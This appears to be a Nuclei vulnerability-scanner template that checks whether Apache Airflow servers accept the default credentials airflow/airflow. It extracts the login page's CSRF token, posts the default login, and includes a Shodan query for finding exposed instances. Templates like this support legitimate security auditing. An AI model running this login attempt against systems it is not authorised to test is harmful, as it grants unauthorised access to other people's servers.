airflow-default-login: Apache Airflow Default Login

id: airflow-default-login

info:
  name: Apache Airflow Default Login
  author: pdteam
  severity: high
  description: Apache Airflow default login credentials were discovered.
  reference:
    - https://airflow.apache.org/docs/apache-airflow/stable/start/docker.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
  metadata:
    product: airflow
    vendor: apache
    max-request: 2
    shodan-query: title:"Sign In - Airflow"
  tags: airflow,default-login,apache,vuln

http:
  - raw:
      - |
        GET /login/ HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
      - |
        POST /login/ HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{BaseURL}}/admin/airflow/login

        username={{username}}&password={{password}}&_csrf_token={{csrf_token}}

    attack: pitchfork
    payloads:
      username:
        - airflow
      password:
        - airflow

    extractors:
      - type: regex
        name: csrf_token
        group: 1
        internal: true
        regex:
          - 'type="hidden" value="(.*?)">'

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_1, "Sign In - Airflow")'
          - 'contains(header_2, "session=.")'
          - 'status_code_2 == 302'
        condition: and

      - type: word
        words:
          - 'You should be redirected automatically to target URL: <a href="/">'
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